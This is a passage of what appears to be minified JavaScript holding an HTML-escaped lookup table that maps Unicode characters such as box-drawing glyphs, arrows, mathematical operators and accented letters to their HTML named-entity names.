HD&quot;,&quot;╧&quot;:&quot;boxHu&quot;,&quot;╨&quot;:&quot;boxhU&quot;,&quot;╩&quot;:&quot;boxHU&quot;,&quot;╪&quot;:&quot;boxvH&quot;,&quot;╫&quot;:&quot;boxVh&quot;,&quot;╬&quot;:&quot;boxVH&quot;,&quot;▀&quot;:&quot;uhblk&quot;,&quot;▄&quot;:&quot;lhblk&quot;,&quot;█&quot;:&quot;block&quot;,&quot;░&quot;:&quot;blk14&quot;,&quot;▒&quot;:&quot;blk12&quot;,&quot;▓&quot;:&quot;blk34&quot;,&quot;□&quot;:&quot;squ&quot;,&quot;▪&quot;:&quot;squf&quot;,&quot;▫&quot;:&quot;EmptyVerySmallSquare&quot;,&quot;▭&quot;:&quot;rect&quot;,&quot;▮&quot;:&quot;marker&quot;,&quot;▱&quot;:&quot;fltns&quot;,&quot;△&quot;:&quot;xutri&quot;,&quot;▴&quot;:&quot;utrif&quot;,&quot;▵&quot;:&quot;utri&quot;,&quot;▸&quot;:&quot;rtrif&quot;,&quot;▹&quot;:&quot;rtri&quot;,&quot;▽&quot;:&quot;xdtri&quot;,&quot;▾&quot;:&quot;dtrif&quot;,&quot;▿&quot;:&quot;dtri&quot;,&quot;◂&quot;:&quot;ltrif&quot;,&quot;◃&quot;:&quot;ltri&quot;,&quot;◊&quot;:&quot;loz&quot;,&quot;○&quot;:&quot;cir&quot;,&quot;◬&quot;:&quot;tridot&quot;,&quot;◯&quot;:&quot;xcirc&quot;,&quot;◸&quot;:&quot;ultri&quot;,&quot;◹&quot;:&quot;urtri&quot;,&quot;◺&quot;:&quot;lltri&quot;,&quot;◻&quot;:&quot;EmptySmallSquare&quot;,&quot;◼&quot;:&quot;FilledSmallSquare&quot;,&quot;★&quot;:&quot;starf&quot;,&quot;☆&quot;:&quot;star&quot;,&quot;☎&quot;:&quot;phone&quot;,&quot;♀&quot;:&quot;female&quot;,&quot;♂&quot;:&quot;male&quot;,&quot;♠&quot;:&quot;spades&quot;,&quot;♣&quot;:&quot;clubs&quot;,&quot;♥&quot;:&quot;hearts&quot;,&quot;♦&quot;:&quot;diams&quot;,&quot;♪&quot;:&quot;sung&quot;,&quot;✓&quot;:&quot;check&quot;,&quot;✗&quot;:&quot;cross&quot;,&quot;✠&quot;:&quot;malt&quot;,&quot;✶&quot;:&quot;sext&quot;,&quot;❘&quot;:&quot;VerticalSeparator&quot;,&quot;⟈&quot;:&quot;bsolhsub&quot;,&quot;⟉&quot;:&quot;suphsol&quot;,&quot;⟵&quot;:&quot;xlarr&quot;,&quot;⟶&quot;:&quot;xrarr&quot;,&quot;⟷&quot;:&quot;xharr&quot;,&quot;⟸&quot;:&quot;xlArr&quot;,&quot;⟹&quot;:&quot;xrArr&quot;,&quot;⟺&quot;:&quot;xhArr&quot;,&quot;⟼&quot;:&quot;xmap&quot;,&quot;⟿&quot;:&quot;dzigrarr&quot;,&quot;⤂&quot;:&quot;nvlArr&quot;,&quot;⤃&quot;:&quot;nvrArr&quot;,&quot;⤄&quot;:&quot;nvHarr&quot;,&quot;⤅&quot;:&quot;Map&quot;,&quot;⤌&quot;:&quot;lbarr&quot;,&quot;⤍&quot;:&quot;rbarr&quot;,&quot;⤎&quot;:&quot;lBarr&quot;,&quot;⤏&quot;:&quot;rBarr&quot;,&quot;⤐&quot;:&quot;RBarr&quot;,&quot;⤑&quot;:&quot;DDotrahd&quot;,&quot;⤒&quot;:&quot;UpArrowBar&quot;,&quot;⤓&quot;:&quot;DownArrowBar&quot;,&quot;⤖&quot;:&quot;Rarrtl&quot;,&quot;⤙&quot;:&quot;latail&quot;,&quot;⤚&quot;:&quot;ratail&quot;,&quot;⤛&quot;:&quot;lAtail&quot;,&quot;⤜&quot;:&quot;rAtail&quot;,&quot;⤝&quot;:&quot;larrfs&quot;,&quot;⤞&quot;:&quot;rarrfs&quot;,&quot;⤟&quot;:&quot;larrbfs&quot;,&quot;⤠&quot;:&quot;rarrbfs&quot;,&quot;⤣&quot;:&quot;nwarhk&quot;,&quot;⤤&quot;:&quot;nearhk&quot;,&quot;⤥&quot;:&quot;searhk&quot;,&quot;⤦&quot;:&quot;swarhk&quot;,&quot;⤧&quot;:&quot;nwnear&quot;,&quot;⤨&quot;:&quot;toea&quot;,&quot;⤩&quot;:&quot;tosa&quot;,&quot;⤪&quot;:&quot;swnwar&quot;,&quot;⤳&quot;:&quot;rarrc&quot;,&quot;⤳̸&quot;:&quot;nrarrc&quot;,&quot;⤵&quot;:&quot;cudarrr&quot;,&quot;⤶&quot;:&quot;ldca&quot;,&quot;⤷&quot;:&quot;rdca&quot;,&quot;⤸&quot;:&quot;cudarrl&quot;,&quot;⤹&quot;:&quot;larrpl&quot;,&quot;⤼&quot;:&quot;curarrm&quot;,&quot;⤽&quot;:&quot;cularrp&quot;,&quot;⥅&quot;:&quot;rarrpl&quot;,&quot;⥈&quot;:&quot;harrcir&quot;,&quot;⥉&quot;:&quot;Uarrocir&quot;,&quot;⥊&quot;:&quot;lurdshar&quot;,&quot;⥋&quot;:&quot;ldrushar&quot;,&quot;⥎&quot;:&quot;LeftRightVector&quot;,&quot;⥏&quot;:&quot;RightUpDownVector&quot;,&quot;⥐&quot;:&quot;DownLeftRightVector&quot;,&quot;⥑&quot;:&quot;LeftUpDownVector&quot;,&quot;⥒&quot;:&quot;LeftVectorBar&quot;,&quot;⥓&quot;:&quot;RightVectorBar&quot;,&quot;⥔&quot;:&quot;RightUpVectorBar&quot;,&quot;⥕&quot;:&quot;RightDownVectorBar&quot;,&quot;⥖&quot;:&quot;DownLeftVectorBar&quot;,&quot;⥗&quot;:&quot;DownRightVectorBar&quot;,&quot;⥘&quot;:&quot;LeftUpVectorBar&quot;,&quot;⥙&quot;:&quot;LeftDownVectorBar&quot;,&quot;⥚&quot;:&quot;LeftTeeVector&quot;,&quot;⥛&quot;:&quot;RightTeeVector&quot;,&quot;⥜&quot;:&quot;RightUpTeeVector&quot;,&quot;⥝&quot;:&quot;RightDownTeeVector&quot;,&quot;⥞&quot;:&quot;DownLeftTeeVector&quot;,&quot;⥟&quot;:&quot;DownRightTeeVector&quot;,&quot;⥠&quot;:&quot;LeftUpTeeVector&quot;,&quot;⥡&quot;:&quot;LeftDownTeeVector&quot;,&quot;⥢&quot;:&quot;lHar&quot;,&quot;⥣&quot;:&quot;uHar&quot;,&quot;⥤&quot;:&quot;rHar&quot;,&quot;⥥&quot;:&quot;dHar&quot;,&quot;⥦&quot;:&quot;luruhar&quot;,&quot;⥧&quot;:&quot;ldrdhar&quot;,&quot;⥨&quot;:&quot;ruluhar&quot;,&quot;⥩&quot;:&quot;rdldhar&quot;,&quot;⥪&quot;:&quot;lharul&quot;,&quot;⥫&quot;:&quot;llhard&quot;,&quot;⥬&quot;:&quot;rharul&quot;,&quot;⥭&quot;:&quot;lrhard&quot;,&quot;⥮&quot;:&quot;udhar&quot;,&quot;⥯&quot;:&quot;duhar&quot;,&quot;⥰&quot;:&quot;RoundImplies&quot;,&quot;⥱&quot;:&quot;erarr&quot;,&quot;⥲&quot;:&quot;simrarr&quot;,&quot;⥳&quot;:&quot;larrsim&quot;,&quot;⥴&quot;:&quot;rarrsim&quot;,&quot;⥵&quot;:&quot;rarrap&quot;,&quot;⥶&quot;:&quot;ltlarr&quot;,&quot;⥸&quot;:&quot;gtrarr&quot;,&quot;⥹&quot;:&quot;subrarr&quot;,&quot;⥻&quot;:&quot;suplarr&quot;,&quot;⥼&quot;:&quot;lfisht&quot;,&quot;⥽&quot;:&quot;rfisht&quot;,&quot;⥾&quot;:&quot;ufisht&quot;,&quot;⥿&quot;:&quot;dfisht&quot;,&quot;⦚&quot;:&quot;vzigzag&quot;,&quot;⦜&quot;:&quot;vangrt&quot;,&quot;⦝&quot;:&quot;angrtvbd&quot;,&quot;⦤&quot;:&quot;ange&quot;,&quot;⦥&quot;:&quot;range&quot;,&quot;⦦&quot;:&quot;dwangle&quot;,&quot;⦧&quot;:&quot;uwangle&quot;,&quot;⦨&quot;:&quot;angmsdaa&quot;,&quot;⦩&quot;:&quot;angmsdab&quot;,&quot;⦪&quot;:&quot;angmsdac&quot;,&quot;⦫&quot;:&quot;angmsdad&quot;,&quot;⦬&quot;:&quot;angmsdae&quot;,&quot;⦭&quot;:&quot;angmsdaf&quot;,&quot;⦮&quot;:&quot;angmsdag&quot;,&quot;⦯&quot;:&quot;angmsdah&quot;,&quot;⦰&quot;:&quot;bemptyv&quot;,&quot;⦱&quot;:&quot;demptyv&quot;,&quot;⦲&quot;:&quot;cemptyv&quot;,&quot;⦳&quot;:&quot;raemptyv&quot;,&quot;⦴&quot;:&quot;laemptyv&quot;,&quot;⦵&quot;:&quot;ohbar&quot;,&quot;⦶&quot;:&quot;omid&quot;,&quot;⦷&quot;:&quot;opar&quot;,&quot;⦹&quot;:&quot;operp&quot;,&quot;⦻&quot;:&quot;olcross&quot;,&quot;⦼&quot;:&quot;odsold&quot;,&quot;⦾&quot;:&quot;olcir&quot;,&quot;⦿&quot;:&quot;ofcir&quot;,&quot;⧀&quot;:&quot;olt&quot;,&quot;⧁&quot;:&quot;ogt&quot;,&quot;⧂&quot;:&quot;cirscir&quot;,&quot;⧃&quot;:&quot;cirE&quot;,&quot;⧄&quot;:&quot;solb&quot;,&quot;⧅&quot;:&quot;bsolb&quot;,&quot;⧉&quot;:&quot;boxbox&quot;,&quot;⧍&quot;:&quot;trisb&quot;,&quot;⧎&quot;:&quot;rtriltri&quot;,&quot;⧏&quot;:&quot;LeftTriangleBar&quot;,&quot;⧏̸&quot;:&quot;NotLeftTriangleBar&quot;,&quot;⧐&quot;:&quot;RightTriangleBar&quot;,&quot;⧐̸&quot;:&quot;NotRightTriangleBar&quot;,&quot;⧜&quot;:&quot;iinfin&quot;,&quot;⧝&quot;:&quot;infintie&quot;,&quot;⧞&quot;:&quot;nvinfin&quot;,&quot;⧣&quot;:&quot;eparsl&quot;,&quot;⧤&quot;:&quot;smeparsl&quot;,&quot;⧥&quot;:&quot;eqvparsl&quot;,&quot;⧫&quot;:&quot;lozf&quot;,&quot;⧴&quot;:&quot;RuleDelayed&quot;,&quot;⧶&quot;:&quot;dsol&quot;,&quot;⨀&quot;:&quot;xodot&quot;,&quot;⨁&quot;:&quot;xoplus&quot;,&quot;⨂&quot;:&quot;xotime&quot;,&quot;⨄&quot;:&quot;xuplus&quot;,&quot;⨆&quot;:&quot;xsqcup&quot;,&quot;⨍&quot;:&quot;fpartint&quot;,&quot;⨐&quot;:&quot;cirfnint&quot;,&quot;⨑&quot;:&quot;awint&quot;,&quot;⨒&quot;:&quot;rppolint&quot;,&quot;⨓&quot;:&quot;scpolint&quot;,&quot;⨔&quot;:&quot;npolint&quot;,&quot;⨕&quot;:&quot;pointint&quot;,&quot;⨖&quot;:&quot;quatint&quot;,&quot;⨗&quot;:&quot;intlarhk&quot;,&quot;⨢&quot;:&quot;pluscir&quot;,&quot;⨣&quot;:&quot;plusacir&quot;,&quot;⨤&quot;:&quot;simplus&quot;,&quot;⨥&quot;:&quot;plusdu&quot;,&quot;⨦&quot;:&quot;plussim&quot;,&quot;⨧&quot;:&quot;plustwo&quot;,&quot;⨩&quot;:&quot;mcomma&quot;,&quot;⨪&quot;:&quot;minusdu&quot;,&quot;⨭&quot;:&quot;loplus&quot;,&quot;⨮&quot;:&quot;roplus&quot;,&quot;⨯&quot;:&quot;Cross&quot;,&quot;⨰&quot;:&quot;timesd&quot;,&quot;⨱&quot;:&quot;timesbar&quot;,&quot;⨳&quot;:&quot;smashp&quot;,&quot;⨴&quot;:&quot;lotimes&quot;,&quot;⨵&quot;:&quot;rotimes&quot;,&quot;⨶&quot;:&quot;otimesas&quot;,&quot;⨷&quot;:&quot;Otimes&quot;,&quot;⨸&quot;:&quot;odiv&quot;,&quot;⨹&quot;:&quot;triplus&quot;,&quot;⨺&quot;:&quot;triminus&quot;,&quot;⨻&quot;:&quot;tritime&quot;,&quot;⨼&quot;:&quot;iprod&quot;,&quot;⨿&quot;:&quot;amalg&quot;,&quot;⩀&quot;:&quot;capdot&quot;,&quot;⩂&quot;:&quot;ncup&quot;,&quot;⩃&quot;:&quot;ncap&quot;,&quot;⩄&quot;:&quot;capand&quot;,&quot;⩅&quot;:&quot;cupor&quot;,&quot;⩆&quot;:&quot;cupcap&quot;,&quot;⩇&quot;:&quot;capcup&quot;,&quot;⩈&quot;:&quot;cupbrcap&quot;,&quot;⩉&quot;:&quot;capbrcup&quot;,&quot;⩊&quot;:&quot;cupcup&quot;,&quot;⩋&quot;:&quot;capcap&quot;,&quot;⩌&quot;:&quot;ccups&quot;,&quot;⩍&quot;:&quot;ccaps&quot;,&quot;⩐&quot;:&quot;ccupssm&quot;,&quot;⩓&quot;:&quot;And&quot;,&quot;⩔&quot;:&quot;Or&quot;,&quot;⩕&quot;:&quot;andand&quot;,&quot;⩖&quot;:&quot;oror&quot;,&quot;⩗&quot;:&quot;orslope&quot;,&quot;⩘&quot;:&quot;andslope&quot;,&quot;⩚&quot;:&quot;andv&quot;,&quot;⩛&quot;:&quot;orv&quot;,&quot;⩜&quot;:&quot;andd&quot;,&quot;⩝&quot;:&quot;ord&quot;,&quot;⩟&quot;:&quot;wedbar&quot;,&quot;⩦&quot;:&quot;sdote&quot;,&quot;⩪&quot;:&quot;simdot&quot;,&quot;⩭&quot;:&quot;congdot&quot;,&quot;⩭̸&quot;:&quot;ncongdot&quot;,&quot;⩮&quot;:&quot;easter&quot;,&quot;⩯&quot;:&quot;apacir&quot;,&quot;⩰&quot;:&quot;apE&quot;,&quot;⩰̸&quot;:&quot;napE&quot;,&quot;⩱&quot;:&quot;eplus&quot;,&quot;⩲&quot;:&quot;pluse&quot;,&quot;⩳&quot;:&quot;Esim&quot;,&quot;⩷&quot;:&quot;eDDot&quot;,&quot;⩸&quot;:&quot;equivDD&quot;,&quot;⩹&quot;:&quot;ltcir&quot;,&quot;⩺&quot;:&quot;gtcir&quot;,&quot;⩻&quot;:&quot;ltquest&quot;,&quot;⩼&quot;:&quot;gtquest&quot;,&quot;⩽&quot;:&quot;les&quot;,&quot;⩽̸&quot;:&quot;nles&quot;,&quot;⩾&quot;:&quot;ges&quot;,&quot;⩾̸&quot;:&quot;nges&quot;,&quot;⩿&quot;:&quot;lesdot&quot;,&quot;⪀&quot;:&quot;gesdot&quot;,&quot;⪁&quot;:&quot;lesdoto&quot;,&quot;⪂&quot;:&quot;gesdoto&quot;,&quot;⪃&quot;:&quot;lesdotor&quot;,&quot;⪄&quot;:&quot;gesdotol&quot;,&quot;⪅&quot;:&quot;lap&quot;,&quot;⪆&quot;:&quot;gap&quot;,&quot;⪇&quot;:&quot;lne&quot;,&quot;⪈&quot;:&quot;gne&quot;,&quot;⪉&quot;:&quot;lnap&quot;,&quot;⪊&quot;:&quot;gnap&quot;,&quot;⪋&quot;:&quot;lEg&quot;,&quot;⪌&quot;:&quot;gEl&quot;,&quot;⪍&quot;:&quot;lsime&quot;,&quot;⪎&quot;:&quot;gsime&quot;,&quot;⪏&quot;:&quot;lsimg&quot;,&quot;⪐&quot;:&quot;gsiml&quot;,&quot;⪑&quot;:&quot;lgE&quot;,&quot;⪒&quot;:&quot;glE&quot;,&quot;⪓&quot;:&quot;lesges&quot;,&quot;⪔&quot;:&quot;gesles&quot;,&quot;⪕&quot;:&quot;els&quot;,&quot;⪖&quot;:&quot;egs&quot;,&quot;⪗&quot;:&quot;elsdot&quot;,&quot;⪘&quot;:&quot;egsdot&quot;,&quot;⪙&quot;:&quot;el&quot;,&quot;⪚&quot;:&quot;eg&quot;,&quot;⪝&quot;:&quot;siml&quot;,&quot;⪞&quot;:&quot;simg&quot;,&quot;⪟&quot;:&quot;simlE&quot;,&quot;⪠&quot;:&quot;simgE&quot;,&quot;⪡&quot;:&quot;LessLess&quot;,&quot;⪡̸&quot;:&quot;NotNestedLessLess&quot;,&quot;⪢&quot;:&quot;GreaterGreater&quot;,&quot;⪢̸&quot;:&quot;NotNestedGreaterGreater&quot;,&quot;⪤&quot;:&quot;glj&quot;,&quot;⪥&quot;:&quot;gla&quot;,&quot;⪦&quot;:&quot;ltcc&quot;,&quot;⪧&quot;:&quot;gtcc&quot;,&quot;⪨&quot;:&quot;lescc&quot;,&quot;⪩&quot;:&quot;gescc&quot;,&quot;⪪&quot;:&quot;smt&quot;,&quot;⪫&quot;:&quot;lat&quot;,&quot;⪬&quot;:&quot;smte&quot;,&quot;⪬︀&quot;:&quot;smtes&quot;,&quot;⪭&quot;:&quot;late&quot;,&quot;⪭︀&quot;:&quot;lates&quot;,&quot;⪮&quot;:&quot;bumpE&quot;,&quot;⪯&quot;:&quot;pre&quot;,&quot;⪯̸&quot;:&quot;npre&quot;,&quot;⪰&quot;:&quot;sce&quot;,&quot;⪰̸&quot;:&quot;nsce&quot;,&quot;⪳&quot;:&quot;prE&quot;,&quot;⪴&quot;:&quot;scE&quot;,&quot;⪵&quot;:&quot;prnE&quot;,&quot;⪶&quot;:&quot;scnE&quot;,&quot;⪷&quot;:&quot;prap&quot;,&quot;⪸&quot;:&quot;scap&quot;,&quot;⪹&quot;:&quot;prnap&quot;,&quot;⪺&quot;:&quot;scnap&quot;,&quot;⪻&quot;:&quot;Pr&quot;,&quot;⪼&quot;:&quot;Sc&quot;,&quot;⪽&quot;:&quot;subdot&quot;,&quot;⪾&quot;:&quot;supdot&quot;,&quot;⪿&quot;:&quot;subplus&quot;,&quot;⫀&quot;:&quot;supplus&quot;,&quot;⫁&quot;:&quot;submult&quot;,&quot;⫂&quot;:&quot;supmult&quot;,&quot;⫃&quot;:&quot;subedot&quot;,&quot;⫄&quot;:&quot;supedot&quot;,&quot;⫅&quot;:&quot;subE&quot;,&quot;⫅̸&quot;:&quot;nsubE&quot;,&quot;⫆&quot;:&quot;supE&quot;,&quot;⫆̸&quot;:&quot;nsupE&quot;,&quot;⫇&quot;:&quot;subsim&quot;,&quot;⫈&quot;:&quot;supsim&quot;,&quot;⫋︀&quot;:&quot;vsubnE&quot;,&quot;⫋&quot;:&quot;subnE&quot;,&quot;⫌︀&quot;:&quot;vsupnE&quot;,&quot;⫌&quot;:&quot;supnE&quot;,&quot;⫏&quot;:&quot;csub&quot;,&quot;⫐&quot;:&quot;csup&quot;,&quot;⫑&quot;:&quot;csube&quot;,&quot;⫒&quot;:&quot;csupe&quot;,&quot;⫓&quot;:&quot;subsup&quot;,&quot;⫔&quot;:&quot;supsub&quot;,&quot;⫕&quot;:&quot;subsub&quot;,&quot;⫖&quot;:&quot;supsup&quot;,&quot;⫗&quot;:&quot;suphsub&quot;,&quot;⫘&quot;:&quot;supdsub&quot;,&quot;⫙&quot;:&quot;forkv&quot;,&quot;⫚&quot;:&quot;topfork&quot;,&quot;⫛&quot;:&quot;mlcp&quot;,&quot;⫤&quot;:&quot;Dashv&quot;,&quot;⫦&quot;:&quot;Vdashl&quot;,&quot;⫧&quot;:&quot;Barv&quot;,&quot;⫨&quot;:&quot;vBar&quot;,&quot;⫩&quot;:&quot;vBarv&quot;,&quot;⫫&quot;:&quot;Vbar&quot;,&quot;⫬&quot;:&quot;Not&quot;,&quot;⫭&quot;:&quot;bNot&quot;,&quot;⫮&quot;:&quot;rnmid&quot;,&quot;⫯&quot;:&quot;cirmid&quot;,&quot;⫰&quot;:&quot;midcir&quot;,&quot;⫱&quot;:&quot;topcir&quot;,&quot;⫲&quot;:&quot;nhpar&quot;,&quot;⫳&quot;:&quot;parsim&quot;,&quot;⫽&quot;:&quot;parsl&quot;,&quot;⫽⃥&quot;:&quot;nparsl&quot;,&quot;♭&quot;:&quot;flat&quot;,&quot;♮&quot;:&quot;natur&quot;,&quot;♯&quot;:&quot;sharp&quot;,&quot;¤&quot;:&quot;curren&quot;,&quot;¢&quot;:&quot;cent&quot;,$:&quot;dollar&quot;,&quot;£&quot;:&quot;pound&quot;,&quot;¥&quot;:&quot;yen&quot;,&quot;€&quot;:&quot;euro&quot;,&quot;¹&quot;:&quot;sup1&quot;,&quot;½&quot;:&quot;half&quot;,&quot;⅓&quot;:&quot;frac13&quot;,&quot;¼&quot;:&quot;frac14&quot;,&quot;⅕&quot;:&quot;frac15&quot;,&quot;⅙&quot;:&quot;frac16&quot;,&quot;⅛&quot;:&quot;frac18&quot;,&quot;²&quot;:&quot;sup2&quot;,&quot;⅔&quot;:&quot;frac23&quot;,&quot;⅖&quot;:&quot;frac25&quot;,&quot;³&quot;:&quot;sup3&quot;,&quot;¾&quot;:&quot;frac34&quot;,&quot;⅗&quot;:&quot;frac35&quot;,&quot;⅜&quot;:&quot;frac38&quot;,&quot;⅘&quot;:&quot;frac45&quot;,&quot;⅚&quot;:&quot;frac56&quot;,&quot;⅝&quot;:&quot;frac58&quot;,&quot;⅞&quot;:&quot;frac78&quot;,&quot;𝒶&quot;:&quot;ascr&quot;,&quot;𝕒&quot;:&quot;aopf&quot;,&quot;𝔞&quot;:&quot;afr&quot;,&quot;𝔸&quot;:&quot;Aopf&quot;,&quot;𝔄&quot;:&quot;Afr&quot;,&quot;𝒜&quot;:&quot;Ascr&quot;,&quot;ª&quot;:&quot;ordf&quot;,&quot;á&quot;:&quot;aacute&quot;,&quot;Á&quot;:&quot;Aacute&quot;,&quot;à&quot;:&quot;agrave&quot;,&quot;À&quot;:&quot;Agrave&quot;,&quot;ă&quot;:&quot;abreve&quot;,&quot;Ă&quot;:&quot;Abreve&quot;,&quot;â&quot;:&quot;acirc&quot;,&quot;Â&quot;:&quot;Acirc&quot;,&quot;å&quot;:&quot;aring&quot;,&quot;Å&quot;:&quot;angst&quot;,&quot;ä&quot;:&quot;auml&quot;,&quot;Ä&quot;:&quot;Auml&quot;,&quot;ã&quot;:&quot;atilde&quot;,&quot;Ã&quot;:&quot;Atilde&quot;,&quot;ą&quot;:&quot;aogon&quot;,&quot;Ą&quot;:&quot;Aogon&quot;,&quot;ā&quot;:&quot;amacr&quot;,&quot;Ā&quot;:&quot;Amacr&quot;,&quot;æ&quot;:&quot;aelig&quot;,&quot;Æ&quot;:&quot;AElig&quot;,&quot;𝒷&quot;:&quot;bscr&quot;,&quot;𝕓&quot;:&quot;bopf&quot;,&quot;𝔟&quot;:&quot;bfr&quot;,&quot;𝔹&quot;:&quot;Bopf&quot;,&quot;ℬ&quot;:&quot;Bscr&quot;,&quot;𝔅&quot;:&quot;Bfr&quot;,&quot;𝔠&quot;:&quot;cfr&quot;,&quot;𝒸&quot;:&quot;cscr&quot;,&quot;𝕔&quot;:&quot;copf&quot;,&quot;ℭ&quot;:&quot;Cfr&quot;,&quot;𝒞&quot;:&quot;Cscr&quot;,&quot;ℂ&quot;:&quot;Copf&quot;,&quot;ć&quot;:&quot;cacute&quot;,&quot;Ć&quot;:&quot;Cacute&quot;,&quot;ĉ&quot;:&quot;ccirc&quot;,&quot;Ĉ&quot;:&quot;Ccirc&quot;,&quot;č&quot;:&quot;ccaron&quot;,&quot;Č&quot;:&quot;Ccaron&quot;,&quot;ċ&quot;:&quot;cdot&quot;,&quot;Ċ&quot;:&quot;Cdot&quot;,&quot;ç&quot;:&quot;ccedil&quot;,&quot;Ç&quot;:&quot;Ccedil&quot;,&quot;℅&quot;:&quot;incare&quot;,&quot;𝔡&quot;:&quot;dfr&quot;,&quot;ⅆ&quot;:&quot;dd&quot;,&quot;𝕕&quot;:&quot;dopf&quot;,&quot;𝒹&quot;:&quot;dscr&quot;,&quot;𝒟&quot;:&quot;Dscr&quot;,&quot;𝔇&quot;:&quot;Dfr&quot;,&quot;ⅅ&quot;:&quot;DD&quot;,&quot;𝔻&quot;:&quot;Dopf&quot;,&quot;ď&quot;:&quot;dcaron&quot;,&quot;Ď&quot;:&quot;Dcaron&quot;,&quot;đ&quot;:&quot;dstrok&quot;,&quot;Đ&quot;:&quot;Dstrok&quot;,&quot;ð&quot;:&quot;eth&quot;,&quot;Ð&quot;:&quot;ETH&quot;,&quot;ⅇ&quot;:&quot;ee&quot;,&quot;ℯ&quot;:&quot;escr&quot;,&quot;𝔢&quot;:&quot;efr&quot;,&quot;𝕖&quot;:&quot;eopf&quot;,&quot;ℰ&quot;:&quot;Escr&quot;,&quot;𝔈&quot;:&quot;Efr&quot;,&quot;𝔼&quot;:&quot;Eopf&quot;,&quot;é&quot;:&quot;eacute&quot;,&quot;É&quot;:&quot;Eacute&quot;,&quot;è&quot;:&quot;egrave&quot;,&quot;È&quot;:&quot;Egrave&quot;,&quot;ê&quot;:&quot;ecirc&quot;,&quot;Ê&quot;:&quot;Ecirc&quot;,&quot;ě&quot;:&quot;ecaron&quot;,&quot;Ě&quot;:&quot;Ecaron&quot;,&quot;ë&quot;:&quot;euml&quot;,&quot;Ë&quot;:&quot;Euml&quot;,&quot;ė&quot;:&quot;edot&quot;,&quot;Ė&quot;:&quot;Edot&quot;,&quot;ę&quot;:&quot;eogon&quot;,&quot;Ę&quot;:&quot;Eogon&quot;,&quot;ē&quot;:&quot;emacr&quot;,&quot;Ē&quot;:&quot;Emacr&quot;,&quot;𝔣&quot;:&quot;ffr&quot;,&quot;𝕗&quot;:&quot;fopf&quot;,&quot;𝒻&quot;:&quot;fscr&quot;,&quot;𝔉&quot;:&quot;Ffr&quot;,&quot;𝔽&quot;:&quot;Fopf&quot;,&quot;ℱ&quot;:&quot;Fscr&quot;,&quot;ﬀ&quot;:&quot;fflig&quot;,&quot;ﬃ&quot;:&quot;ffilig&quot;,&quot;ﬄ&quot;:&quot;ffllig&quot;,&quot;ﬁ&quot;:&quot;filig&quot;,fj:&quot;fjlig&quot;,&quot;ﬂ&quot;:&quot;fllig&quot;,&quot;ƒ&quot;:&quot;fnof&quot;,&quot;ℊ&quot;:&quot;gscr&quot;,&quot;𝕘&quot;:&quot;gopf&quot;,&quot;𝔤&quot;:&quot;gfr&quot;,&quot;𝒢&quot;:&quot;Gscr&quot;,&quot;𝔾&quot;:&quot;Gopf&quot;,&quot;𝔊&quot;:&quot;Gfr&quot;,&quot;ǵ&quot;:&quot;gacute&quot;,&quot;ğ&quot;:&quot;gbreve&quot;,&quot;Ğ&quot;:&quot;Gbreve&quot;,&quot;ĝ&quot;:&quot;gcirc&quot;,&quot;Ĝ&quot;:&quot;Gcirc&quot;,&quot;ġ&quot;:&quot;gdot&quot;,&quot;Ġ&quot;:&quot;Gdot&quot;,&quot;Ģ&quot;:&quot;Gcedil&quot;,&quot;𝔥&quot;:&quot;hfr&quot;,&quot;ℎ&quot;:&quot;planckh&quot;,&quot;𝒽&quot;:&quot;hscr&quot;,&quot;𝕙&quot;:&quot;hopf&quot;,&quot;ℋ&quot;:&quot;Hscr&quot;,&quot;ℌ&quot;:&quot;Hfr&quot;,&quot;ℍ&quot;:&quot;Hopf&quot;,&quot;ĥ&quot;:&quot;hcirc&quot;,&quot;Ĥ&quot;:&quot;Hcirc&quot;,&quot;ℏ&quot;:&quot;hbar&quot;,&quot;ħ&quot;:&quot;hstrok&quot;,&quot;Ħ&quot;:&quot;Hstrok&quot;,&quot;𝕚&quot;:&quot;iopf&quot;,&quot;𝔦&quot;:&quot;ifr&quot;,&quot;𝒾&quot;:&quot;iscr&quot;,&quot;ⅈ&quot;:&quot;ii&quot;,&quot;𝕀&quot;:&quot;Iopf&quot;,&quot;ℐ&quot;:&quot;Iscr&quot;,&quot;ℑ&quot;:&quot;Im&quot;,&quot;í&quot;:&quot;iacute&quot;,&quot;Í&quot;:&quot;Iacute&quot;,&quot;ì&quot;:&quot;igrave&quot;,&quot;Ì&quot;:&quot;Igrave&quot;,&quot;î&quot;:&quot;icirc&quot;,&quot;Î&quot;:&quot;Icirc&quot;,&quot;ï&quot;:&quot;iuml&quot;,&quot;Ï&quot;:&quot;Iuml&quot;,&quot;ĩ&quot;:&quot;itilde&quot;,&quot;Ĩ&quot;:&quot;Itilde&quot;,&quot;İ&quot;:&quot;Idot&quot;,&quot;į&quot;:&quot;iogon&quot;,&quot;Į&quot;:&quot;Iogon&quot;,&quot;ī&quot;:&quot;imacr&quot;,&quot;Ī&quot;:&quot;Imacr&quot;,&quot;ĳ&quot;:&quot;ijlig&quot;,&quot;Ĳ&quot;:&quot;IJlig&quot;,&quot;ı&quot;:&quot;imath&quot;,&quot;𝒿&quot;:&quot;jscr&quot;,&quot;𝕛&quot;:&quot;jopf&quot;,&quot;𝔧&quot;:&quot;jfr&quot;,&quot;𝒥&quot;:&quot;Jscr&quot;,&quot;𝔍&quot;:&quot;Jfr&quot;,&quot;𝕁&quot;:&quot;Jopf&quot;,&quot;ĵ&quot;:&quot;jcirc&quot;,&quot;Ĵ&quot;:&quot;Jcirc&quot;,&quot;ȷ&quot;:&quot;jmath&quot;,&quot;𝕜&quot;:&quot;kopf&quot;,&quot;𝓀&quot;:&quot;kscr&quot;,&quot;𝔨&quot;:&quot;kfr&quot;,&quot;𝒦&quot;:&quot;Kscr&quot;,&quot;𝕂&quot;:&quot;Kopf&quot;,&quot;𝔎&quot;:&quot;Kfr&quot;,&quot;ķ&quot;:&quot;kcedil&quot;,&quot;Ķ&quot;:&quot;Kcedil&quot;,&quot;𝔩&quot;:&quot;lfr&quot;,&quot;𝓁&quot;:&quot;lscr&quot;,&quot;ℓ&quot;:&quot;ell&quot;,&quot;𝕝&quot;:&quot;lopf&quot;,&quot;ℒ&quot;:&quot;Lscr&quot;,&quot;𝔏&quot;:&quot;Lfr&quot;,&quot;𝕃&quot;:&quot;Lopf&quot;,&quot;ĺ&quot;:&quot;lacute&quot;,&quot;Ĺ&quot;:&quot;Lacute&quot;,&quot;ľ&quot;:&quot;lcaron&quot;,&quot;Ľ&quot;:&quot;Lcaron&quot;,&quot;ļ&quot;:&quot;lcedil&quot;,&quot;Ļ&quot;:&quot;Lcedil&quot;,&quot;ł&quot;:&quot;lstrok&quot;,&quot;Ł&quot;:&quot;Lstr